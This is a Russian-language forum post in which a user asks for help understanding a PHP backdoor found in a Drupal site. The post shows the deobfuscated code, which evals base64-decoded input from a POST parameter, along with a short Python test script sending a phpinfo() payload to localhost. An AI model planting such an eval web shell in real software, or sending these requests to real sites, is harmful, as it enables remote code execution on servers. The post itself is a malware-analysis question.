php-"вирус" в Друпале

25.09.2015, 13:37

rct

Постоянный

Регистрация: 13.06.2015

Сообщений: 359

С нами: 5746646

Репутация: 7

Нашел такой код

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =)

Получается вот такой код

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if

    (isset([/COLOR][COLOR="#0000BB"]$POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]])) {

        eval([/COLOR][COLOR="#0000BB"]$base64_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]]));

    }[/COLOR][/COLOR]

То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит

import requests

payload = {"n828e00" : "cGhwaW5mbygpOw=="}

r = requests.post("http://localhost/viros.php", params=payload)

Помогите разобраться как этот пхп работает

𝕏 Twitter Reddit Telegram Копировать ссылку